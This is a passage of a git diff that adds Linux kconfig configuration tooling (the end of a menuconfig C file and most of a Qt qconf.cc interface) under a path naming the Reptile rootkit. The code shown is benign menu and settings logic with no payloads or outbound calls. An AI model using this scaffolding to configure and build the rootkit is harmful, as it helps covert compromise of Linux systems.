item_make("{%c}", ch); + else + item_make("<%c>", ch); + } else + item_make("-%c-", ch); + item_set_tag('t'); + item_set_data(menu); + break; + default: + tmp = 2 + strlen(sym_get_string_value(sym)); /* () = 2 */ + item_make("(%s)", sym_get_string_value(sym)); + tmp = indent - tmp + 4; + if (tmp < 0) + tmp = 0; + item_add_str("%*c%s%s", tmp, ' ', _(menu_get_prompt(menu)), + (sym_has_value(sym) || !sym_is_changable(sym)) ? + "" : _(" (NEW)")); + item_set_tag('s'); + item_set_data(menu); + goto conf_childs; + } + } + item_add_str("%*c%s%s", indent + 1, ' ', _(menu_get_prompt(menu)), + (sym_has_value(sym) || !sym_is_changable(sym)) ? + "" : _(" (NEW)")); + if (menu->prompt->type == P_MENU) { + item_add_str(" %s", menu_is_empty(menu) ? "----" : "--->"); + return; + } + } + +conf_childs: + indent += doint; + for (child = menu->list; child; child = child->next) + build_conf(child); + indent -= doint; +} + +static void conf(struct menu *menu, struct menu *active_menu) +{ + struct menu *submenu; + const char *prompt = menu_get_prompt(menu); + struct subtitle_part stpart; + struct symbol *sym; + int res; + int s_scroll = 0; + + if (menu != &rootmenu) + stpart.text = menu_get_prompt(menu); + else + stpart.text = NULL; + list_add_tail(&stpart.entries, &trail); + + while (1) { + item_reset(); + current_menu = menu; + build_conf(menu); + if (!child_count) + break; + set_subtitle(); + dialog_clear(); + res = dialog_menu(prompt ? _(prompt) : _("Main Menu"), + _(menu_instructions), + active_menu, &s_scroll); + if (res == 1 || res == KEY_ESC || res == -ERRDISPLAYTOOSMALL) + break; + if (item_count() != 0) { + if (!item_activate_selected()) + continue; + if (!item_tag()) + continue; + } + submenu = item_data(); + active_menu = item_data(); + if (submenu) + sym = submenu->sym; + else + sym = NULL; + + switch (res) { + case 0: + switch (item_tag()) { + case 'm': + if (single_menu_mode) + submenu->data = (void *) (long) !submenu->data; + else + conf(submenu, NULL); + break; + case 't': + if (sym_is_choice(sym) && sym_get_tristate_value(sym) == yes) + conf_choice(submenu); + else if (submenu->prompt->type == P_MENU) + conf(submenu, NULL); + break; + case 's': + conf_string(submenu); + break; + } + break; + case 2: + if (sym) + show_help(submenu); + else { + reset_subtitle(); + show_helptext(_("README"), _(mconf_readme)); + } + break; + case 3: + reset_subtitle(); + conf_save(); + break; + case 4: + reset_subtitle(); + conf_load(); + break; + case 5: + if (item_is_tag('t')) { + if (sym_set_tristate_value(sym, yes)) + break; + if (sym_set_tristate_value(sym, mod)) + show_textbox(NULL, setmod_text, 6, 74); + } + break; + case 6: + if (item_is_tag('t')) + sym_set_tristate_value(sym, no); + break; + case 7: + if (item_is_tag('t')) + sym_set_tristate_value(sym, mod); + break; + case 8: + if (item_is_tag('t')) + sym_toggle_tristate_value(sym); + else if (item_is_tag('m')) + conf(submenu, NULL); + break; + case 9: + search_conf(); + break; + case 10: + show_all_options = !show_all_options; + break; + } + } + + list_del(trail.prev); +} + +static int show_textbox_ext(const char *title, char *text, int r, int c, int + *keys, int *vscroll, int *hscroll, update_text_fn + update_text, void *data) +{ + dialog_clear(); + return dialog_textbox(title, text, r, c, keys, vscroll, hscroll, + update_text, data); +} + +static void show_textbox(const char *title, const char *text, int r, int c) +{ + show_textbox_ext(title, (char *) text, r, c, (int []) {0}, NULL, NULL, + NULL, NULL); +} + +static void show_helptext(const char *title, const char *text) +{ + show_textbox(title, text, 0, 0); +} + +static void conf_message_callback(const char *fmt, va_list ap) +{ + char buf[PATH_MAX+1]; + + vsnprintf(buf, sizeof(buf), fmt, ap); + if (save_and_exit) + printf("%s", buf); + else + show_textbox(NULL, buf, 6, 60); +} + +static void show_help(struct menu *menu) +{ + struct gstr help = str_new(); + + help.max_width = getmaxx(stdscr) - 10; + menu_get_ext_help(menu, &help); + + show_helptext(_(menu_get_prompt(menu)), str_get(&help)); + str_free(&help); +} + +static void conf_choice(struct menu *menu) +{ + const char *prompt = _(menu_get_prompt(menu)); + struct menu *child; + struct symbol *active; + + active = sym_get_choice_value(menu->sym); + while (1) { + int res; + int selected; + item_reset(); + + current_menu = menu; + for (child = menu->list; child; child = child->next) { + if (!menu_is_visible(child)) + continue; + if (child->sym) + item_make("%s", _(menu_get_prompt(child))); + else { + item_make("*** %s ***", _(menu_get_prompt(child))); + item_set_tag(':'); + } + item_set_data(child); + if (child->sym == active) + item_set_selected(1); + if (child->sym == sym_get_choice_value(menu->sym)) + item_set_tag('X'); + } + dialog_clear(); + res = dialog_checklist(prompt ? _(prompt) : _("Main Menu"), + _(radiolist_instructions), + MENUBOX_HEIGTH_MIN, + MENUBOX_WIDTH_MIN, + CHECKLIST_HEIGTH_MIN); + selected = item_activate_selected(); + switch (res) { + case 0: + if (selected) { + child = item_data(); + if (!child->sym) + break; + + sym_set_tristate_value(child->sym, yes); + } + return; + case 1: + if (selected) { + child = item_data(); + show_help(child); + active = child->sym; + } else + show_help(menu); + break; + case KEY_ESC: + return; + case -ERRDISPLAYTOOSMALL: + return; + } + } +} + +static void conf_string(struct menu *menu) +{ + const char *prompt = menu_get_prompt(menu); + + while (1) { + int res; + const char *heading; + + switch (sym_get_type(menu->sym)) { + case S_INT: + heading = _(inputbox_instructions_int); + break; + case S_HEX: + heading = _(inputbox_instructions_hex); + break; + case S_STRING: + heading = _(inputbox_instructions_string); + break; + default: + heading = _("Internal mconf error!"); + } + dialog_clear(); + res = dialog_inputbox(prompt ? _(prompt) : _("Main Menu"), + heading, 10, 75, + sym_get_string_value(menu->sym)); + switch (res) { + case 0: + if (sym_set_string_value(menu->sym, dialog_input_result)) + return; + show_textbox(NULL, _("You have made an invalid entry."), 5, 43); + break; + case 1: + show_help(menu); + break; + case KEY_ESC: + return; + } + } +} + +static void conf_load(void) +{ + + while (1) { + int res; + dialog_clear(); + res = dialog_inputbox(NULL, load_config_text, + 11, 55, filename); + switch(res) { + case 0: + if (!dialog_input_result[0]) + return; + if (!conf_read(dialog_input_result)) { + set_config_filename(dialog_input_result); + sym_set_change_count(1); + return; + } + show_textbox(NULL, _("File does not exist!"), 5, 38); + break; + case 1: + show_helptext(_("Load Alternate Configuration"), load_config_help); + break; + case KEY_ESC: + return; + } + } +} + +static void conf_save(void) +{ + while (1) { + int res; + dialog_clear(); + res = dialog_inputbox(NULL, save_config_text, + 11, 55, filename); + switch(res) { + case 0: + if (!dialog_input_result[0]) + return; + if (!conf_write(dialog_input_result)) { + set_config_filename(dialog_input_result); + return; + } + show_textbox(NULL, _("Can't create file! Probably a nonexistent directory."), 5, 60); + break; + case 1: + show_helptext(_("Save Alternate Configuration"), save_config_help); + break; + case KEY_ESC: + return; + } + } +} + +static int handle_exit(void) +{ + int res; + + save_and_exit = 1; + reset_subtitle(); + dialog_clear(); + if (conf_get_changed()) + res = dialog_yesno(NULL, + _("Do you wish to save your new configuration?\n" + "(Press to continue kernel configuration.)"), + 6, 60); + else + res = -1; + + end_dialog(saved_x, saved_y); + + switch (res) { + case 0: + if (conf_write(filename)) { + fprintf(stderr, _("\n\n" + "Error while writing of the configuration.\n" + "Your configuration changes were NOT saved." + "\n\n")); + return 1; + } + /* fall through */ + case -1: + printf(_("\n\n" + "*** End of the configuration.\n" + "*** Execute 'make' to start the build or try 'make help'." + "\n\n")); + res = 0; + break; + default: + fprintf(stderr, _("\n\n" + "Your configuration changes were NOT saved." + "\n\n")); + if (res != KEY_ESC) + res = 0; + } + + return res; +} + +static void sig_handler(int signo) +{ + exit(handle_exit()); +} + +int main(int ac, char **av) +{ + char *mode; + int res; + + setlocale(LC_ALL, ""); + bindtextdomain(PACKAGE, LOCALEDIR); + textdomain(PACKAGE); + + signal(SIGINT, sig_handler); + + conf_parse(av[1]); + conf_read(NULL); + + mode = getenv("MENUCONFIG_MODE"); + if (mode) { + if (!strcasecmp(mode, "single_menu")) + single_menu_mode = 1; + } + + if (init_dialog(NULL)) { + fprintf(stderr, N_("Your display is too small to run Menuconfig!\n")); + fprintf(stderr, N_("It must be at least 19 lines by 80 columns.\n")); + return 1; + } + + set_config_filename(conf_get_configname()); + conf_set_message_callback(conf_message_callback); + do { + conf(&rootmenu, NULL); + res = handle_exit(); + } while (res == KEY_ESC); + + return res; +} + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/qconf.cc b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/qconf.cc new file mode 100644 index 0000000..9d3b04b --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/qconf.cc @@ -0,0 +1,1795 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include + +#if QT_VERSION < 0x040000 +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#else +#include +#include +#include +#include +#include +#include +#include +#include +#include +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include "lkc.h" +#include "qconf.h" + +#include "qconf.moc" +#include "images.c" + +#ifdef _ +# undef _ +# define _ qgettext +#endif + +static QApplication *configApp; +static ConfigSettings *configSettings; + +Q3Action *ConfigMainWindow::saveAction; + +static inline QString qgettext(const char* str) +{ + return QString::fromLocal8Bit(gettext(str)); +} + +static inline QString qgettext(const QString& str) +{ + return QString::fromLocal8Bit(gettext(str.latin1())); +} + +ConfigSettings::ConfigSettings() + : QSettings("kernel.org", "qconf") +{ +} + +/** + * Reads a list of integer values from the application settings. + */ +Q3ValueList ConfigSettings::readSizes(const QString& key, bool *ok) +{ + Q3ValueList result; + QStringList entryList = readListEntry(key, ok); + QStringList::Iterator it; + + for (it = entryList.begin(); it != entryList.end(); ++it) + result.push_back((*it).toInt()); + + return result; +} + +/** + * Writes a list of integer values to the application settings. + */ +bool ConfigSettings::writeSizes(const QString& key, const Q3ValueList& value) +{ + QStringList stringList; + Q3ValueList::ConstIterator it; + + for (it = value.begin(); it != value.end(); ++it) + stringList.push_back(QString::number(*it)); + return writeEntry(key, stringList); +} + + +/* + * set the new data + * TODO check the value + */ +void ConfigItem::okRename(int col) +{ + Parent::okRename(col); + sym_set_string_value(menu->sym, text(dataColIdx).latin1()); + listView()->updateList(this); +} + +/* + * update the displayed of a menu entry + */ +void ConfigItem::updateMenu(void) +{ + ConfigList* list; + struct symbol* sym; + struct property *prop; + QString prompt; + int type; + tristate expr; + + list = listView(); + if (goParent) { + setPixmap(promptColIdx, list->menuBackPix); + prompt = ".."; + goto set_prompt; + } + + sym = menu->sym; + prop = menu->prompt; + prompt = _(menu_get_prompt(menu)); + + if (prop) switch (prop->type) { + case P_MENU: + if (list->mode == singleMode || list->mode == symbolMode) { + /* a menuconfig entry is displayed differently + * depending whether it's at the view root or a child. + */ + if (sym && list->rootEntry == menu) + break; + setPixmap(promptColIdx, list->menuPix); + } else { + if (sym) + break; + setPixmap(promptColIdx, 0); + } + goto set_prompt; + case P_COMMENT: + setPixmap(promptColIdx, 0); + goto set_prompt; + default: + ; + } + if (!sym) + goto set_prompt; + + setText(nameColIdx, QString::fromLocal8Bit(sym->name)); + + type = sym_get_type(sym); + switch (type) { + case S_BOOLEAN: + case S_TRISTATE: + char ch; + + if (!sym_is_changable(sym) && list->optMode == normalOpt) { + setPixmap(promptColIdx, 0); + setText(noColIdx, QString::null); + setText(modColIdx, QString::null); + setText(yesColIdx, QString::null); + break; + } + expr = sym_get_tristate_value(sym); + switch (expr) { + case yes: + if (sym_is_choice_value(sym) && type == S_BOOLEAN) + setPixmap(promptColIdx, list->choiceYesPix); + else + setPixmap(promptColIdx, list->symbolYesPix); + setText(yesColIdx, "Y"); + ch = 'Y'; + break; + case mod: + setPixmap(promptColIdx, list->symbolModPix); + setText(modColIdx, "M"); + ch = 'M'; + break; + default: + if (sym_is_choice_value(sym) && type == S_BOOLEAN) + setPixmap(promptColIdx, list->choiceNoPix); + else + setPixmap(promptColIdx, list->symbolNoPix); + setText(noColIdx, "N"); + ch = 'N'; + break; + } + if (expr != no) + setText(noColIdx, sym_tristate_within_range(sym, no) ? "_" : 0); + if (expr != mod) + setText(modColIdx, sym_tristate_within_range(sym, mod) ? "_" : 0); + if (expr != yes) + setText(yesColIdx, sym_tristate_within_range(sym, yes) ? "_" : 0); + + setText(dataColIdx, QChar(ch)); + break; + case S_INT: + case S_HEX: + case S_STRING: + const char* data; + + data = sym_get_string_value(sym); + + int i = list->mapIdx(dataColIdx); + if (i >= 0) + setRenameEnabled(i, TRUE); + setText(dataColIdx, data); + if (type == S_STRING) + prompt = QString("%1: %2").arg(prompt).arg(data); + else + prompt = QString("(%2) %1").arg(prompt).arg(data); + break; + } + if (!sym_has_value(sym) && visible) + prompt += _(" (NEW)"); +set_prompt: + setText(promptColIdx, prompt); +} + +void ConfigItem::testUpdateMenu(bool v) +{ + ConfigItem* i; + + visible = v; + if (!menu) + return; + + sym_calc_value(menu->sym); + if (menu->flags & MENU_CHANGED) { + /* the menu entry changed, so update all list items */ + menu->flags &= ~MENU_CHANGED; + for (i = (ConfigItem*)menu->data; i; i = i->nextItem) + i->updateMenu(); + } else if (listView()->updateAll) + updateMenu(); +} + +void ConfigItem::paintCell(QPainter* p, const QColorGroup& cg, int column, int width, int align) +{ + ConfigList* list = listView(); + + if (visible) { + if (isSelected() && !list->hasFocus() && list->mode == menuMode) + Parent::paintCell(p, list->inactivedColorGroup, column, width, align); + else + Parent::paintCell(p, cg, column, width, align); + } else + Parent::paintCell(p, list->disabledColorGroup, column, width, align); +} + +/* + * construct a menu entry + */ +void ConfigItem::init(void) +{ + if (menu) { + ConfigList* list = listView(); + nextItem = (ConfigItem*)menu->data; + menu->data = this; + + if (list->mode != fullMode) + setOpen(TRUE); + sym_calc_value(menu->sym); + } + updateMenu(); +} + +/* + * destruct a menu entry + */ +ConfigItem::~ConfigItem(void) +{ + if (menu) { + ConfigItem** ip = (ConfigItem**)&menu->data; + for (; *ip; ip = &(*ip)->nextItem) { + if (*ip == this) { + *ip = nextItem; + break; + } + } + } +} + +ConfigLineEdit::ConfigLineEdit(ConfigView* parent) + : Parent(parent) +{ + connect(this, SIGNAL(lostFocus()), SLOT(hide())); +} + +void ConfigLineEdit::show(ConfigItem* i) +{ + item = i; + if (sym_get_string_value(item->menu->sym)) + setText(QString::fromLocal8Bit(sym_get_string_value(item->menu->sym))); + else + setText(QString::null); + Parent::show(); + setFocus(); +} + +void ConfigLineEdit::keyPressEvent(QKeyEvent* e) +{ + switch (e->key()) { + case Qt::Key_Escape: + break; + case Qt::Key_Return: + case Qt::Key_Enter: + sym_set_string_value(item->menu->sym, text().latin1()); + parent()->updateList(item); + break; + default: + Parent::keyPressEvent(e); + return; + } + e->accept(); + parent()->list->setFocus(); + hide(); +} + +ConfigList::ConfigList(ConfigView* p, const char *name) + : Parent(p, name), + updateAll(false), + symbolYesPix(xpm_symbol_yes), symbolModPix(xpm_symbol_mod), symbolNoPix(xpm_symbol_no), + choiceYesPix(xpm_choice_yes), choiceNoPix(xpm_choice_no), + menuPix(xpm_menu), menuInvPix(xpm_menu_inv), menuBackPix(xpm_menuback), voidPix(xpm_void), + showName(false), showRange(false), showData(false), optMode(normalOpt), + rootEntry(0), headerPopup(0) +{ + int i; + + setSorting(-1); + setRootIsDecorated(TRUE); + disabledColorGroup = palette().active(); + disabledColorGroup.setColor(QColorGroup::Text, palette().disabled().text()); + inactivedColorGroup = palette().active(); + inactivedColorGroup.setColor(QColorGroup::Highlight, palette().disabled().highlight()); + + connect(this, SIGNAL(selectionChanged(void)), + SLOT(updateSelection(void))); + + if (name) { + configSettings->beginGroup(name); + showName = configSettings->readBoolEntry("/showName", false); + showRange = configSettings->readBoolEntry("/showRange", false); + showData = configSettings->readBoolEntry("/showData", false); + optMode = (enum optionMode)configSettings->readNumEntry("/optionMode", false); + configSettings->endGroup(); + connect(configApp, SIGNAL(aboutToQuit()), SLOT(saveSettings())); + } + + for (i = 0; i < colNr; i++) + colMap[i] = colRevMap[i] = -1; + addColumn(promptColIdx, _("Option")); + + reinit(); +} + +bool ConfigList::menuSkip(struct menu *menu) +{ + if (optMode == normalOpt && menu_is_visible(menu)) + return false; + if (optMode == promptOpt && menu_has_prompt(menu)) + return false; + if (optMode == allOpt) + return false; + return true; +} + +void ConfigList::reinit(void) +{ + removeColumn(dataColIdx); + removeColumn(yesColIdx); + removeColumn(modColIdx); + removeColumn(noColIdx); + removeColumn(nameColIdx); + + if (showName) + addColumn(nameColIdx, _("Name")); + if (showRange) { + addColumn(noColIdx, "N"); + addColumn(modColIdx, "M"); + addColumn(yesColIdx, "Y"); + } + if (showData) + addColumn(dataColIdx, _("Value")); + + updateListAll(); +} + +void ConfigList::saveSettings(void) +{ + if (name()) { + configSettings->beginGroup(name()); + configSettings->writeEntry("/showName", showName); + configSettings->writeEntry("/showRange", showRange); + configSettings->writeEntry("/showData", showData); + configSettings->writeEntry("/optionMode", (int)optMode); + configSettings->endGroup(); + } +} + +ConfigItem* ConfigList::findConfigItem(struct menu *menu) +{ + ConfigItem* item = (ConfigItem*)menu->data; + + for (; item; item = item->nextItem) { + if (this == item->listView()) + break; + } + + return item; +} + +void ConfigList::updateSelection(void) +{ + struct menu *menu; + enum prop_type type; + + ConfigItem* item = (ConfigItem*)selectedItem(); + if (!item) + return; + + menu = item->menu; + emit menuChanged(menu); + if (!menu) + return; + type = menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (mode == menuMode && type == P_MENU) + emit menuSelected(menu); +} + +void ConfigList::updateList(ConfigItem* item) +{ + ConfigItem* last = 0; + + if (!rootEntry) { + if (mode != listMode) + goto update; + Q3ListViewItemIterator it(this); + ConfigItem* item; + + for (; it.current(); ++it) { + item = (ConfigItem*)it.current(); + if (!item->menu) + continue; + item->testUpdateMenu(menu_is_visible(item->menu)); + } + return; + } + + if (rootEntry != &rootmenu && (mode == singleMode || + (mode == symbolMode && rootEntry->parent != &rootmenu))) { + item = firstChild(); + if (!item) + item = new ConfigItem(this, 0, true); + last = item; + } + if ((mode == singleMode || (mode == symbolMode && !(rootEntry->flags & MENU_ROOT))) && + rootEntry->sym && rootEntry->prompt) { + item = last ? last->nextSibling() : firstChild(); + if (!item) + item = new ConfigItem(this, last, rootEntry, true); + else + item->testUpdateMenu(true); + + updateMenuList(item, rootEntry); + triggerUpdate(); + return; + } +update: + updateMenuList(this, rootEntry); + triggerUpdate(); +} + +void ConfigList::setValue(ConfigItem* item, tristate val) +{ + struct symbol* sym; + int type; + tristate oldval; + + sym = item->menu ? item->menu->sym : 0; + if (!sym) + return; + + type = sym_get_type(sym); + switch (type) { + case S_BOOLEAN: + case S_TRISTATE: + oldval = sym_get_tristate_value(sym); + + if (!sym_set_tristate_value(sym, val)) + return; + if (oldval == no && item->menu->list) + item->setOpen(TRUE); + parent()->updateList(item); + break; + } +} + +void ConfigList::changeValue(ConfigItem* item) +{ + struct symbol* sym; + struct menu* menu; + int type, oldexpr, newexpr; + + menu = item->menu; + if (!menu) + return; + sym = menu->sym; + if (!sym) { + if (item->menu->list) + item->setOpen(!item->isOpen()); + return; + } + + type = sym_get_type(sym); + switch (type) { + case S_BOOLEAN: + case S_TRISTATE: + oldexpr = sym_get_tristate_value(sym); + newexpr = sym_toggle_tristate_value(sym); + if (item->menu->list) { + if (oldexpr == newexpr) + item->setOpen(!item->isOpen()); + else if (oldexpr == no) + item->setOpen(TRUE); + } + if (oldexpr != newexpr) + parent()->updateList(item); + break; + case S_INT: + case S_HEX: + case S_STRING: + if (colMap[dataColIdx] >= 0) + item->startRename(colMap[dataColIdx]); + else + parent()->lineEdit->show(item); + break; + } +} + +void ConfigList::setRootMenu(struct menu *menu) +{ + enum prop_type type; + + if (rootEntry == menu) + return; + type = menu && menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (type != P_MENU) + return; + updateMenuList(this, 0); + rootEntry = menu; + updateListAll(); + setSelected(currentItem(), hasFocus()); + ensureItemVisible(currentItem()); +} + +void ConfigList::setParentMenu(void) +{ + ConfigItem* item; + struct menu *oldroot; + + oldroot = rootEntry; + if (rootEntry == &rootmenu) + return; + setRootMenu(menu_get_parent_menu(rootEntry->parent)); + + Q3ListViewItemIterator it(this); + for (; (item = (ConfigItem*)it.current()); it++) { + if (item->menu == oldroot) { + setCurrentItem(item); + ensureItemVisible(item); + break; + } + } +} + +/* + * update all the children of a menu entry + * removes/adds the entries from the parent widget as necessary + * + * parent: either the menu list widget or a menu entry widget + * menu: entry to be updated + */ +template +void ConfigList::updateMenuList(P* parent, struct menu* menu) +{ + struct menu* child; + ConfigItem* item; + ConfigItem* last; + bool visible; + enum prop_type type; + + if (!menu) { + while ((item = parent->firstChild())) + delete item; + return; + } + + last = parent->firstChild(); + if (last && !last->goParent) + last = 0; + for (child = menu->list; child; child = child->next) { + item = last ? last->nextSibling() : parent->firstChild(); + type = child->prompt ? child->prompt->type : P_UNKNOWN; + + switch (mode) { + case menuMode: + if (!(child->flags & MENU_ROOT)) + goto hide; + break; + case symbolMode: + if (child->flags & MENU_ROOT) + goto hide; + break; + default: + break; + } + + visible = menu_is_visible(child); + if (!menuSkip(child)) { + if (!child->sym && !child->list && !child->prompt) + continue; + if (!item || item->menu != child) + item = new ConfigItem(parent, last, child, visible); + else + item->testUpdateMenu(visible); + + if (mode == fullMode || mode == menuMode || type != P_MENU) + updateMenuList(item, child); + else + updateMenuList(item, 0); + last = item; + continue; + } + hide: + if (item && item->menu == child) { + last = parent->firstChild(); + if (last == item) + last = 0; + else while (last->nextSibling() != item) + last = last->nextSibling(); + delete item; + } + } +} + +void ConfigList::keyPressEvent(QKeyEvent* ev) +{ + Q3ListViewItem* i = currentItem(); + ConfigItem* item; + struct menu *menu; + enum prop_type type; + + if (ev->key() == Qt::Key_Escape && mode != fullMode && mode != listMode) { + emit parentSelected(); + ev->accept(); + return; + } + + if (!i) { + Parent::keyPressEvent(ev); + return; + } + item = (ConfigItem*)i; + + switch (ev->key()) { + case Qt::Key_Return: + case Qt::Key_Enter: + if (item->goParent) { + emit parentSelected(); + break; + } + menu = item->menu; + if (!menu) + break; + type = menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (type == P_MENU && rootEntry != menu && + mode != fullMode && mode != menuMode) { + emit menuSelected(menu); + break; + } + case Qt::Key_Space: + changeValue(item); + break; + case Qt::Key_N: + setValue(item, no); + break; + case Qt::Key_M: + setValue(item, mod); + break; + case Qt::Key_Y: + setValue(item, yes); + break; + default: + Parent::keyPressEvent(ev); + return; + } + ev->accept(); +} + +void ConfigList::contentsMousePressEvent(QMouseEvent* e) +{ + //QPoint p(contentsToViewport(e->pos())); + //printf("contentsMousePressEvent: %d,%d\n", p.x(), p.y()); + Parent::contentsMousePressEvent(e); +} + +void ConfigList::contentsMouseReleaseEvent(QMouseEvent* e) +{ + QPoint p(contentsToViewport(e->pos())); + ConfigItem* item = (ConfigItem*)itemAt(p); + struct menu *menu; + enum prop_type ptype; + const QPixmap* pm; + int idx, x; + + if (!item) + goto skip; + + menu = item->menu; + x = header()->offset() + p.x(); + idx = colRevMap[header()->sectionAt(x)]; + switch (idx) { + case promptColIdx: + pm = item->pixmap(promptColIdx); + if (pm) { + int off = header()->sectionPos(0) + itemMargin() + + treeStepSize() * (item->depth() + (rootIsDecorated() ? 1 : 0)); + if (x >= off && x < off + pm->width()) { + if (item->goParent) { + emit parentSelected(); + break; + } else if (!menu) + break; + ptype = menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (ptype == P_MENU && rootEntry != menu && + mode != fullMode && mode != menuMode) + emit menuSelected(menu); + else + changeValue(item); + } + } + break; + case noColIdx: + setValue(item, no); + break; + case modColIdx: + setValue(item, mod); + break; + case yesColIdx: + setValue(item, yes); + break; + case dataColIdx: + changeValue(item); + break; + } + +skip: + //printf("contentsMouseReleaseEvent: %d,%d\n", p.x(), p.y()); + Parent::contentsMouseReleaseEvent(e); +} + +void ConfigList::contentsMouseMoveEvent(QMouseEvent* e) +{ + //QPoint p(contentsToViewport(e->pos())); + //printf("contentsMouseMoveEvent: %d,%d\n", p.x(), p.y()); + Parent::contentsMouseMoveEvent(e); +} + +void ConfigList::contentsMouseDoubleClickEvent(QMouseEvent* e) +{ + QPoint p(contentsToViewport(e->pos())); + ConfigItem* item = (ConfigItem*)itemAt(p); + struct menu *menu; + enum prop_type ptype; + + if (!item) + goto skip; + if (item->goParent) { + emit parentSelected(); + goto skip; + } + menu = item->menu; + if (!menu) + goto skip; + ptype = menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (ptype == P_MENU && (mode == singleMode || mode == symbolMode)) + emit menuSelected(menu); + else if (menu->sym) + changeValue(item); + +skip: + //printf("contentsMouseDoubleClickEvent: %d,%d\n", p.x(), p.y()); + Parent::contentsMouseDoubleClickEvent(e); +} + +void ConfigList::focusInEvent(QFocusEvent *e) +{ + struct menu *menu = NULL; + + Parent::focusInEvent(e); + + ConfigItem* item = (ConfigItem *)currentItem(); + if (item) { + setSelected(item, TRUE); + menu = item->menu; + } + emit gotFocus(menu); +} + +void ConfigList::contextMenuEvent(QContextMenuEvent *e) +{ + if (e->y() <= header()->geometry().bottom()) { + if (!headerPopup) { + Q3Action *action; + + headerPopup = new Q3PopupMenu(this); + action = new Q3Action(NULL, _("Show Name"), 0, this); + action->setToggleAction(TRUE); + connect(action, SIGNAL(toggled(bool)), + parent(), SLOT(setShowName(bool))); + connect(parent(), SIGNAL(showNameChanged(bool)), + action, SLOT(setOn(bool))); + action->setOn(showName); + action->addTo(headerPopup); + action = new Q3Action(NULL, _("Show Range"), 0, this); + action->setToggleAction(TRUE); + connect(action, SIGNAL(toggled(bool)), + parent(), SLOT(setShowRange(bool))); + connect(parent(), SIGNAL(showRangeChanged(bool)), + action, SLOT(setOn(bool))); + action->setOn(showRange); + action->addTo(headerPopup); + action = new Q3Action(NULL, _("Show Data"), 0, this); + action->setToggleAction(TRUE); + connect(action, SIGNAL(toggled(bool)), + parent(), SLOT(setShowData(bool))); + connect(parent(), SIGNAL(showDataChanged(bool)), + action, SLOT(setOn(bool))); + action->setOn(showData); + action->addTo(headerPopup); + } + headerPopup->exec(e->globalPos()); + e->accept(); + } else + e->ignore(); +} + +ConfigView*ConfigView::viewList; +QAction *ConfigView::showNormalAction; +QAction *ConfigView::showAllAction; +QAction *ConfigView::showPromptAction; + +ConfigView::ConfigView(QWidget* parent, const char *name) + : Parent(parent, name) +{ + list = new ConfigList(this, name); + lineEdit = new ConfigLineEdit(this); + lineEdit->hide(); + + this->nextView = viewList; + viewList = this; +} + +ConfigView::~ConfigView(void) +{ + ConfigView** vp; + + for (vp = &viewList; *vp; vp = &(*vp)->nextView) { + if (*vp == this) { + *vp = nextView; + break; + } + } +} + +void ConfigView::setOptionMode(QAction *act) +{ + if (act == showNormalAction) + list->optMode = normalOpt; + else if (act == showAllAction) + list->optMode = allOpt; + else + list->optMode = promptOpt; + + list->updateListAll(); +} + +void ConfigView::setShowName(bool b) +{ + if (list->showName != b) { + list->showName = b; + list->reinit(); + emit showNameChanged(b); + } +} + +void ConfigView::setShowRange(bool b) +{ + if (list->showRange != b) { + list->showRange = b; + list->reinit(); + emit showRangeChanged(b); + } +} + +void ConfigView::setShowData(bool b) +{ + if (list->showData != b) { + list->showData = b; + list->reinit(); + emit showDataChanged(b); + } +} + +void ConfigList::setAllOpen(bool open) +{ + Q3ListViewItemIterator it(this); + + for (; it.current(); it++) + it.current()->setOpen(open); +} + +void ConfigView::updateList(ConfigItem* item) +{ + ConfigView* v; + + for (v = viewList; v; v = v->nextView) + v->list->updateList(item); +} + +void ConfigView::updateListAll(void) +{ + ConfigView* v; + + for (v = viewList; v; v = v->nextView) + v->list->updateListAll(); +} + +ConfigInfoView::ConfigInfoView(QWidget* parent, const char *name) + : Parent(parent, name), sym(0), _menu(0) +{ + if (name) { + configSettings->beginGroup(name); + _showDebug = configSettings->readBoolEntry("/showDebug", false); + configSettings->endGroup(); + connect(configApp, SIGNAL(aboutToQuit()), SLOT(saveSettings())); + } +} + +void ConfigInfoView::saveSettings(void) +{ + if (name()) { + configSettings->beginGroup(name()); + configSettings->writeEntry("/showDebug", showDebug()); + configSettings->endGroup(); + } +} + +void ConfigInfoView::setShowDebug(bool b) +{ + if (_showDebug != b) { + _showDebug = b; + if (_menu) + menuInfo(); + else if (sym) + symbolInfo(); + emit showDebugChanged(b); + } +} + +void ConfigInfoView::setInfo(struct menu *m) +{ + if (_menu == m) + return; + _menu = m; + sym = NULL; + if (!_menu) + clear(); + else + menuInfo(); +} + +void ConfigInfoView::symbolInfo(void) +{ + QString str; + + str += "Symbol: "; + str += print_filter(sym->name); + str += "

value: "; + str += print_filter(sym_get_string_value(sym)); + str += "
visibility: "; + str += sym->visible == yes ? "y" : sym->visible == mod ? "m" : "n"; + str += "
"; + str += debug_info(sym); + + setText(str); +} + +void ConfigInfoView::menuInfo(void) +{ + struct symbol* sym; + QString head, debug, help; + + sym = _menu->sym; + if (sym) { + if (_menu->prompt) { + head += ""; + head += print_filter(_(_menu->prompt->text)); + head += ""; + if (sym->name) { + head += " ("; + if (showDebug()) + head += QString().sprintf("", sym); + head += print_filter(sym->name); + if (showDebug()) + head += ""; + head += ")"; + } + } else if (sym->name) { + head += ""; + if (showDebug()) + head += QString().sprintf("", sym); + head += print_filter(sym->name); + if (showDebug()) + head += ""; + head += ""; + } + head += "

"; + + if (showDebug()) + debug = debug_info(sym); + + struct gstr help_gstr = str_new(); + menu_get_ext_help(_menu, &help_gstr); + help = print_filter(str_get(&help_gstr)); + str_free(&help_gstr); + } else if (_menu->prompt) { + head += ""; + head += print_filter(_(_menu->prompt->text)); + head += "

